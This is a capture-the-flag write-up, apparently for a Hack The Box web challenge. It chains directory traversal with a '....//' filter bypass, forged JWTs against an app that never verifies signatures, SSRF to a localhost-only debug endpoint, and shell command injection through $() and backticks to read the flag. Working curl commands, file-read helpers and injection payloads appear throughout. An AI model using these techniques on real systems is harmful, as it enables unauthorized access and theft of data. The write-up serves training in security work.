The Magic Informer
16 minutes to read
We are given this website:
This time we don’t have source code available, so we must poke around with the website.
Registering a new account
At the bottom of the page we can find a link to a registration form:
So we can register and then log in:
And we get access to our dashboard:
Directory Traversal and Local File Read
We can try common injections in the above form. The key is in the file upload input. Let’s use Burp Suite to intercept requests and responses:
It looks like the uploaded file is transformed to a .docx
document. We can download it with the link that appears in the website:
And in Burp Suite we can see the request:
Notice the resume
parameter. Let’s see if we can download the same file but prepending ./
to the path (that is to say, from the same directory):
And it works, so the server might be vulnerable to Directory Traversal. Let’s see what happens if we request a non-existent file:
The error message leaks the absolute path where the server is trying to find the file. At this point, we can try climbing to the root directory and read /etc/passwd
:
But we see that ../
were not effective, the path is /app/uploads/etc/passwd
. This must be because the server is filtering ../
, probably replacing every match by an empty string. We can bypass this filter by using ....//
, because the server will find the ../
string, replace it and the resulting path will be exactly ../
:
There it is. At this point, we can enumerate more files from Burp Suite (using more Repeater tabs) or switch to the console with curl
:
$ curl '167.99.206.87:30463/download?resume=....//....//etc/hosts' -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJpYXQiOjE2NzAyMDQ1MDN9.SvYFO9b3ya7Gc0cWOFiKqM_sXOd-avH5bTf1d1kfss8'
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.244.9.165 ng-themagicinformer-2qvlt-655f685c7d-9gm59
We can define a shell function to work easily:
$ function read_file() { curl "167.99.206.87:30463/download?resume=....//..../$1" -H 'Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFzZGYiLCJpYXQiOjE2NzAyMDQ1MDN9.SvYFO9b3ya7Gc0cWOFiKqM_sXOd-avH5bTf1d1kfss8' }
$ read_file /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.244.9.165 ng-themagicinformer-2qvlt-655f685c7d-9gm59
Static code analysis
We know that the web server is using Express JS in Node.js because of the header X-Powered-By
. Therefore, we can guess that the main script is index.js
(if not, it could be app.js
, server.js
, main.js
…):
$ read_file /app/index.js
import * as dotenv from 'dotenv';
import cookieParser from "cookie-parser";
import path from "path";
import express from "express";
import nunjucks from "nunjucks";
import fileUpload from "express-fileupload";
import * as router from "./routes/index.js";
import { Database } from "./database.js";
dotenv.config({path: '/app/debug.env'});
const app = express();
const db = new Database('admin.db');
app.use(express.json());
app.use(cookieParser());
app.use(
fileUpload({
limits: {
fileSize: 2 * 1024 * 1024 // 2 MB
},
abortOnLimit: true
})
);
nunjucks.configure('views', {
autoescape: true,
express: app
});
app.disable('etag');
app.set('views', './views');
app.use('/static', express.static(path.resolve('static')));
app.use(router.default(db));
app.all('*', (req, res) => {
return res.status(404).send({
message: '404 page not found'
});
});
(async () => {
await db.connect();
await db.migrate();
app.listen(1337, '0.0.0.0', () => console.log('Listening on port 1337'));
})();
From this script, we can see other filenames such as a SQLite3 database (admin.db
) or an configuration file at /app/debug.env
:
$ read_file /app/debug.env
DEBUG_PASS=CzliwZJkV60hpPJ
Then, we can read the database implementation (database.js
) and the routes available (routes/index.js
).
Database implementation
This is the database.js
script:
$ read_file /app/database.js
import { Database as sqlite } from 'sqlite-async';
import crypto from "crypto";
const md5 = data => crypto.createHash('md5').update(data).digest("hex");
export class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let password = md5(crypto.randomBytes(16).toString('hex'));
return this.db.exec(`
DROP TABLE IF EXISTS users;
CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
password VARCHAR(255) NOT NULL,
verified BOOLEAN NOT NULL DEFAULT false
);
INSERT INTO users (username, password, verified) VALUES ('admin', '${password}', true);
DROP TABLE IF EXISTS enrollments;
CREATE TABLE IF NOT EXISTS enrollments (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
full_name VARCHAR(255) NULL,
phone VARCHAR(255) NULL,
birth_date VARCHAR(255) NULL,
gender VARCHAR(255) NULL,
biography TEXT NULL,
resume_file VARCHAR(256) NULL
);
DROP TABLE IF EXISTS settings;
CREATE TABLE settings(
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
config_key VARCHAR(2) NOT NULL,
config_val NUMERIC(9,6) NOT NULL
);
INSERT INTO settings (config_key, config_val)
VALUES
('sms_verb', 'POST'),
('sms_url', 'https://platform.clickatell.com/messages'),
('sms_params', '{"apiKey" : "xxxx", "toNumber": "recipient", "text": "message"}'),
('sms_headers', 'Content-Type: application/json\nAuthorization: Basic YWRtaW46YWRtaW4='),
('sms_resp_ok', '<status>ok</status>'),
('sms_resp_bad', '<status>error</status>');
`);
}
async registerUser(username, password) {
return new Promise(async (resolve, reject) => {
try {
let register_sql = await this.db.prepare('INSERT INTO users (username, password) VALUES ( ?, ?)');
let enrollment_sql = await this.db.prepare('INSERT INTO enrollments (username) VALUES (?)');
await register_sql.run(username, md5(password));
await enrollment_sql.run(username);
resolve();
} catch(e) {
reject(e);
}
});
}
async loginUser(username, password) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
resolve(await stmt.get(username, md5(password)));
} catch(e) {
reject(e);
}
});
}
async getUser(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM users WHERE username = ?');
resolve(await stmt.get(username));
} catch(e) {
reject(e);
}
});
}
async checkUser(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT username FROM users WHERE username = ?');
let row = await stmt.get(username);
resolve(row !== undefined);
} catch(e) {
reject(e);
}
});
}
async getFormData(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM enrollments WHERE username = ?');
resolve(await stmt.get(username));
} catch(e) {
reject(e);
}
});
}
async updateEnrollment(full_name, phone, birth_date, gender, biography, username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare(`
UPDATE enrollments
SET
full_name = ?,
phone = ?,
birth_date = ?,
gender = ?,
biography = ?
WHERE username = ?
`);
resolve((await stmt.run(full_name, phone, birth_date, gender, biography, username)));
} catch(e) {
reject(e);
}
});
}
async setResume(filename, username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE enrollments SET resume_file = ? WHERE username = ?');
resolve((await stmt.run(filename, username)));
} catch(e) {
reject(e);
}
});
}
async saveSMSConfig(verb, url, params, headers, resp_ok, resp_bad) {
return new Promise(async (resolve, reject) => {
const smsConfig = {
'sms_verb': verb,
'sms_url': url,
'sms_params': params,
'sms_headers': headers,
'sms_resp_ok': resp_ok,
'sms_resp_bad': resp_bad
}
for(const [col_name, col_data] of Object.entries(smsConfig)) {
try {
let stmt = await this.db.prepare('UPDATE settings SET config_val = ? WHERE config_key = ?');
await stmt.run(col_data, col_name)
} catch(e) {
reject(e);
}
}
resolve(true);
});
}
}
Everything looks correct since the queries are using prepared statements, so SQL injection is not possible.
Moreover, the password for admin
is random and is hashed with MD. So, even if we download the admin.db
file and extract the hash, we won’t be able to crack it because the password is random.
Available routes
There are a lot of endpoints configured in routes/index.js
:
$ read_file /app/routes/index.js
import path from 'path';
import * as fs from 'fs';
import axios from 'axios';
import { Router } from 'express';
import { sign } from '../helpers/JWTHelper.js';
import { AuthMiddleware } from '../middleware/AuthMiddleware.js';
import { AdminMiddleware } from '../middleware/AdminMiddleware.js';
import { LocalMiddleware } from '../middleware/LocalMiddleware.js';
import { execSync } from 'child_process';
let db;
const router = Router();
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.render('index.html');
});
router.get('/register', (req, res) => {
return res.render('register.html');
});
router.get('/login', (req, res) => {
return res.render('login.html');
});
router.post('/api/register', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.getUser(username)
.then(user => {
if (user) return res.status(401).send(response('This username is already registered!'));
return db.registerUser(username, password)
.then(() => res.send(response('Account registered successfully!')))
})
.catch(() => res.status(500).send(response('Something went wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
router.post('/api/login', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.loginUser(username, password)
.then(user => {
let token = sign({ username: user.username });
res.cookie('session', token, { maxAge: 3600000 });
return res.send(response('User authenticated successfully!'));
})
.catch(() => res.status(403).send(response('Invalid username or password!')));
}
return res.status(500).send(response('Missing parameters!'));
});
router.get('/dashboard', AuthMiddleware, async (req, res) => {
if (req.user.username === 'admin') return res.redirect('/admin');
return db.getUser(req.user.username)
.then(user => {
if (!user) return res.redirect('/login');
return db.getFormData(user.username)
.then(enrollment => {
res.render('dashboard.html', { user, enrollment });
});
})
.catch(e => {
return res.redirect('/login');
})
});
router.post('/api/enroll', AuthMiddleware, async (req, res) => {
return db.getUser(req.user.username)
.then(user => {
if (!user) return res.redirect('/login');
const {full_name, phone, birth_date, gender, biography} = req.body;
return db.updateEnrollment(
full_name,
phone,
birth_date,
gender,
biography ,user.username
)
.then(() => res.send(response('Your information is saved successfully!')))
.catch((e) => res.status(401).send(response('Something went wrong!')));
})
.catch(e => {
return res.redirect('/login');
})
});
router.post('/api/upload', AuthMiddleware, async (req, res) => {
return db.getUser(req.user.username)
.then(async user => {
if (!user) return res.redirect('/login');
if (!req.files || !req.files.resumeFile) {
return res.status(400).send(response('No files were uploaded.'));
}
let enrollment = await db.getFormData(user.username);
let resumeFile = req.files.resumeFile;
let uploadFile = `${resumeFile.md5}.docx`;
resumeFile.mv(path.join('/app/uploads', uploadFile), (err) => {
if (err) return res.status(500).send(response('Something went wrong!'));
});
if(enrollment.resume_file && enrollment.resume_file !== uploadFile){
try {
fs.unlinkSync(path.join('/app/uploads', enrollment.resume_file));
}
catch (e) { console.log(e) }
}
return db.setResume(uploadFile,user.username)
.then(() =>{
res.send({
'message': 'Resume file uploaded successfully!',
'filename': uploadFile
});
})
.catch(() => res.status(500).send(response('Something went wrong!')));
})
.catch(e => {
return res.redirect('/login');
})
});
router.get('/download', AuthMiddleware, async (req, res) => {
return db.getUser(req.user.username)
.then(user => {
if (!user) return res.redirect('/login');
let { resume } = req.query;
resume = resume.replaceAll('../', '');
return res.download(path.join('/app/uploads', resume));
})
.catch(e => {
return res.redirect('/login');
})
});
router.get('/admin', AdminMiddleware, async (req, res) => {
return res.render('admin.html', { user: req.user });
});
router.get('/sms-settings', AdminMiddleware, async (req, res) => {
return res.render('sms-settings.html', { user: req.user });
});
router.post('/api/sms/save', AdminMiddleware, async (req, res) => {
const { verb, url, params, headers, resp_ok, resp_bad } = req.body;
if (!(verb && url && params && headers && resp_ok && resp_bad)) {
return res.status(500).send(response('missing required parameters'));
}
return db.saveSMSConfig(verb, url, params, headers, resp_ok, resp_bad)
.then(() => {
return res.send(response('SMS settings saved successfully!'));
})
.catch((e) => {
return res.status(500).send(response('Something went wrong!'));
});
});
router.post('/api/sms/test', AdminMiddleware, async (req, res) => {
const { verb, url, params, headers, resp_ok, resp_bad } = req.body;
if (!(verb && url && params && headers && resp_ok && resp_bad)) {
return res.status(500).send(response('missing required parameters'));
}
let parsedHeaders = {};
try {
let headersArray = headers.split('\n');
for(let header of headersArray) {
if(header.includes(':')) {
let hkey = header.split(':')[0].trim()
let hval = header.split(':')[1].trim()
parsedHeaders[hkey] = hval;
}
}
}
catch (e) { console.log(e) }
let options = {
method: verb.toLowerCase(),
url: url,
timeout: 5000,
headers: parsedHeaders
};
if (verb === 'POST') options.data = params;
axios(options)
.then(response => {
if (typeof(response.data) == 'object') {
response.data = JSON.stringify(response.data);
}
return res.json({status: 'success', result: response.data})
})
.catch(e => {
if (e.response) {
if (typeof(e.response.data) == 'object') {
e.response.data = JSON.stringify(e.response.data);
}
return res.json({status: 'fail', result: e.response.data})
}
else {
return res.json({status: 'fail', result: 'Address is unreachable'});
}
})
});
router.get('/sql-prompt', AdminMiddleware, async (req, res) => {
return res.render('sql-prompt.html', { user: req.user });
});
router.post('/debug/sql/exec', LocalMiddleware, AdminMiddleware, async (req, res) => {
const { sql, password } = req.body;
if (sql && password === process.env.DEBUG_PASS) {
try {
let safeSql = String(sql).replaceAll(/"/ig, "'");
let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
const cmdExec = execSync(cmdStr);
return res.json({sql, output: cmdExec.toString()});
}
catch (e) {
let output = e.toString();
if (e.stderr) output = e.stderr.toString();
return res.json({sql, output});
}
}
return res.status(500).send(response('Invalid debug password supplied!'));
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
export default database => {
db = database;
return router;
};
Some of the routes are protected with AuthMiddleware
, which basically checks that we have a valid JWT token in a cookie called session
:
$ read_file /app/middleware/AuthMiddleware.js
import { decode } from "../helpers/JWTHelper.js";
const AuthMiddleware = async (req, res, next) => {
try{
if (req.cookies.session === undefined) {
if(!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return decode(req.cookies.session)
.then(user => {
req.user = user;
return next();
})
.catch((e) => {
console.log(e);
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
export { AuthMiddleware };
There are other routes that are protected with AdminMiddleware
, which is the same as AuthMiddleware
but checkin that our user is admin
:
$ read_file /app/middleware/AdminMiddleware.js
import { decode } from "../helpers/JWTHelper.js";
const AdminMiddleware = async (req, res, next) => {
try{
if (req.cookies.session === undefined) {
if(!req.is('application/json')) return res.redirect('/');
return res.status(401).json({ status: 'unauthorized', message: 'Authentication required!' });
}
return decode(req.cookies.session)
.then(user => {
req.user = user;
if (req.user.username !== 'admin') return res.redirect('/dashboard');
return next();
})
.catch(() => {
res.redirect('/logout');
});
} catch(e) {
console.log(e);
return res.redirect('/logout');
}
}
export { AdminMiddleware };
These two middlewares are using helper/JWTHelper.js
:
$ read_file /app/helpers/JWTHelper.js
import jwt from "jsonwebtoken";
import crypto from "crypto";
const APP_SECRET = crypto.randomBytes(69).toString('hex');
const sign = (data) => {
data = Object.assign(data);
return (jwt.sign(data, APP_SECRET, { algorithm:'HS256' }))
}
const decode = async(token) => {
return (jwt.decode(token));
}
export { sign, decode };
Here we have a vulnerability, since jwt.decode
will only decode the token’s payload, it will not verify that the signature is valid (that would have been jwt.verify
).
Performing the attack
A JWT (JSON Web Token) is a way to encode JSON data in Base64 and sign it so that the contents are integrity-protected. In jwt.io we can paste our token and see what information it stores:
Becoming admin
The purple part is the payload, which is the value returned from jwt.decode
. If we modify our username to be admin
, the JWT will be corrupted because the signature won’t match. However, the server does not validate the signature:
So, if we set this new JWT token as the cookie and refresh the page, we will be logged in as admin
(this is known as Broken Access Control):
More source code analysis
At this point, we have access to endpoints protected with AdminMiddleware
. For instance, we can use /api/sms/test
and /debug/sql/exec
(among others). The latter is accessible from /sql-prompt
:
But it says that it is whitelisted to localhost
only. Indeed, /debug/sql/exec
is protected with LocalMiddleware
:
$ read_file /app/middleware/LocalMiddleware.js
const LocalMiddleware = async (req, res, next) => {
if (req.ip == '127.0.0.1' && req.headers.host == '127.0.0.1:1337') {
return next();
}
return res.status(401).json({ message: 'Blocked: This endpoint is whitelisted to localhost only.' });
}
export { LocalMiddleware };
So /debug/sql/exec
must be targeted from localhost
. If we inspect the dependencies of the Node.js project, we can find axios
, which is a module to perform web requests:
$ read_file /app/package.json
{
"name": "magic_informer",
"version": "1.0.0",
"description": "",
"main": "index.js",
"type": "module",
"scripts": {
"start": "node index.js",
"dev": "nodemon -e js,css,html"
},
"keywords": [],
"author": "rayhan0x01",
"license": "ISC",
"dependencies": {
"axios": "1.2.0",
"cookie-parser": "1.4.6",
"dotenv": "^16.0.3",
"express": "4.18.2",
"express-fileupload": "1.4.0",
"jsonwebtoken": "8.5.1",
"nunjucks": "3.2.3",
"sqlite-async": "1.1.5"
},
"devDependencies": {
"nodemon": "^1.19.1"
}
}
Actually, axios
is used in /api/sms/test
:
router.post('/api/sms/test', AdminMiddleware, async (req, res) => {
const { verb, url, params, headers, resp_ok, resp_bad } = req.body;
if (!(verb && url && params && headers && resp_ok && resp_bad)) {
return res.status(500).send(response('missing required parameters'));
}
let parsedHeaders = {};
try {
let headersArray = headers.split('\n');
for(let header of headersArray) {
if(header.includes(':')) {
let hkey = header.split(':')[0].trim()
let hval = header.split(':')[1].trim()
parsedHeaders[hkey] = hval;
}
}
}
catch (e) { console.log(e) }
let options = {
method: verb.toLowerCase(),
url: url,
timeout: 5000,
headers: parsedHeaders
};
if (verb === 'POST') options.data = params;
axios(options)
.then(response => {
if (typeof(response.data) == 'object') {
response.data = JSON.stringify(response.data);
}
return res.json({status: 'success', result: response.data})
})
.catch(e => {
if (e.response) {
if (typeof(e.response.data) == 'object') {
e.response.data = JSON.stringify(e.response.data);
}
return res.json({status: 'fail', result: e.response.data})
}
else {
return res.json({status: 'fail', result: 'Address is unreachable'});
}
})
});
Again, we can take a look at the website at /sms-settings
:
SSRF attack
Here we can tell axios
to perform the request to http://127.0.0.1:1337/debug/sql/exec
, adding the JWT token for admin
, so that we pass LocalMiddleware
and AdminMiddleware
. This is a Server-Side Request Forgery (SSRF) attack:
There is a password
field that must be the value of DEBUG_PASS
in /app/debug.env
. It is checked in the handler of /debug/sql/exec
:
router.post('/debug/sql/exec', LocalMiddleware, AdminMiddleware, async (req, res) => {
const { sql, password } = req.body;
if (sql && password === process.env.DEBUG_PASS) {
try {
let safeSql = String(sql).replaceAll(/"/ig, "'");
let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
const cmdExec = execSync(cmdStr);
return res.json({sql, output: cmdExec.toString()});
}
catch (e) {
let output = e.toString();
if (e.stderr) output = e.stderr.toString();
return res.json({sql, output});
}
}
return res.status(500).send(response('Invalid debug password supplied!'));
});
router.get('/logout', (req, res) => {
res.clearCookie('session');
return res.redirect('/');
});
Command injection
Notice that the sql
field is used to create a command string that will be executed with execSync
:
let safeSql = String(sql).replaceAll(/"/ig, "'");
let cmdStr = `sqlite3 -csv admin.db "${safeSql}"`;
const cmdExec = execSync(cmdStr);
There is a minimal sanitization in place: all double quotes will be replaced by single quotes. This prevents us from adding a double quote and add another command. Something like this:
$ node
Welcome to Node.js v19.2.0.
Type ".help" for more information.
> let sql = 'select * from users;"; whoami #'
undefined
> let cmdStr = `sqlite3 -csv admin.db "${sql}"`
undefined
> const { execSync } = require('child_process')
undefined
> execSync(cmdStr).toString()
Error: in prepare, file is not a database (26)
'rocky\n'
However, we can’t use double quotes. We must find another way to inject commands. Since the safeSql
field is surrounded by double quotes, we can use variable interpolation in Bash and thus execute commands using `command`
or $(command)
:
> sql = 'select * from users; `whoami`'
'select * from users; `whoami`'
> let safeSql = String(sql).replaceAll(/"/ig, "'");
undefined
> cmdStr = `echo "${safeSql}"`
'echo "select * from users; `whoami`"'
> execSync(cmdStr).toString()
'select * from users; rocky\n'
>
> sql = 'select * from users; $(whoami)'
'select * from users; $(whoami)'
> safeSql = String(sql).replaceAll(/"/ig, "'");
'select * from users; $(whoami)'
> cmdStr = `echo "${safeSql}"`
'echo "select * from users; $(whoami)"'
> execSync(cmdStr).toString()
'select * from users; rocky\n'
So, let’s do it on the website:
We see an error message, but notice that node
is the name of the system user. Here, if we try to do ls -l
, we will only see a single word total
. This means that the error message is taking a single word, so we must use a trick to see the whole output as a single word. For instance, we can pipe the output to base64 -w0
, so that the output is Base64-encoded and printed as a single string with no spaces or newlines:
Now we can take the output and decode it:
$ echo dG90YWwgODgKZHJ3eHIteHIteCAgICAxIG5vZGUgICAgIG5vZGUgICAgICAgICAgNDA5NiBEZWMgIDUgMDE6NTIgYXBwCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgSnVuICA2IDE5OjIxIGJpbgpkcnd4ci14ci14ICAgIDUgcm9vdCAgICAgcm9vdCAgICAgICAgICAgMzYwIERlYyAgNSAwMTo0MCBkZXYKZHJ3eHIteHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMDE6NDAgZXRjCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgSnVuICA2IDE5OjIxIGhvbWUKZHJ3eHIteHIteCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBKdW4gIDYgMTk6MjEgbGliCmRyd3hyLXhyLXggICAgNSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgQXByICA0ICAyMDIyIG1lZGlhCmRyd3hyLXhyLXggICAgMiByb290ICAgICByb290ICAgICAgICAgIDQwOTYgQXByICA0ICAyMDIyIG1udApkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IEp1biAgNiAxOToyMSBvcHQKZHIteHIteHIteCAgMjYxIHJvb3QgICAgIHJvb3QgICAgICAgICAgICAgMCBEZWMgIDUgMDE6NDAgcHJvYwotcndzci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgIDE4Nzg0IE5vdiAzMCAxNjo0MiByZWFkZmxhZwpkcnd4LS0tLS0tICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgMSAyMDoyMCByb290CmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgRGVjICA1IDAxOjQwIHJ1bgpkcnd4ci14ci14ICAgIDIgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IEFwciAgNCAgMjAyMiBzYmluCmRyd3hyLXhyLXggICAgMiByb290ICAgICByb290ICAgICAgICAgIDQwOTYgQXByICA0ICAyMDIyIHNydgpkci14ci14ci14ICAgMTMgcm9vdCAgICAgcm9vdCAgICAgICAgICAgICAwIERlYyAgNSAwMTo0MCBzeXMKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMDE6NDAgdG1wCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgTm92IDMwIDE2OjQyIHVzcgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IEFwciAgNCAgMjAyMiB2YXIK | base64 -d
total 88
drwxr-xr-x 1 node node 4096 Dec 5 01:52 app
drwxr-xr-x 1 root root 4096 Jun 6 19:21 bin
drwxr-xr-x 5 root root 360 Dec 5 01:40 dev
drwxr-xr-x 1 root root 4096 Dec 5 01:40 etc
drwxr-xr-x 1 root root 4096 Jun 6 19:21 home
drwxr-xr-x 1 root root 4096 Jun 6 19:21 lib
drwxr-xr-x 5 root root 4096 Apr 4 2022 media
drwxr-xr-x 2 root root 4096 Apr 4 2022 mnt
drwxr-xr-x 1 root root 4096 Jun 6 19:21 opt
dr-xr-xr-x 261 root root 0 Dec 5 01:40 proc
-rwsr-xr-x 1 root root 18784 Nov 30 16:42 readflag
drwx------ 1 root root 4096 Dec 1 20:20 root
drwxr-xr-x 1 root root 4096 Dec 5 01:40 run
drwxr-xr-x 2 root root 4096 Apr 4 2022 sbin
drwxr-xr-x 2 root root 4096 Apr 4 2022 srv
dr-xr-xr-x 13 root root 0 Dec 5 01:40 sys
drwxrwxrwt 1 root root 4096 Dec 5 01:40 tmp
drwxr-xr-x 1 root root 4096 Nov 30 16:42 usr
drwxr-xr-x 1 root root 4096 Apr 4 2022 var
The above is the result of ls -l /
. Here we see an executable file named readflag
, so let’s run it and get the output in Base64:
Flag
This time, the data is not decoding for some reason. At this point, we can go to CyberChef and decode it:
The issue is that the encoded string is missing a padding =
sign at the end:
$ echo SFRCe2JyMGszbl80dTdoXzU1UkZfNHNfNF9zM3J2MWMzX2QzYnVnX2Z0d30= | base64 -d
HTB{br0k3n_4u7h_55RF_4s_4_s3rv1c3_d3bug_ftw}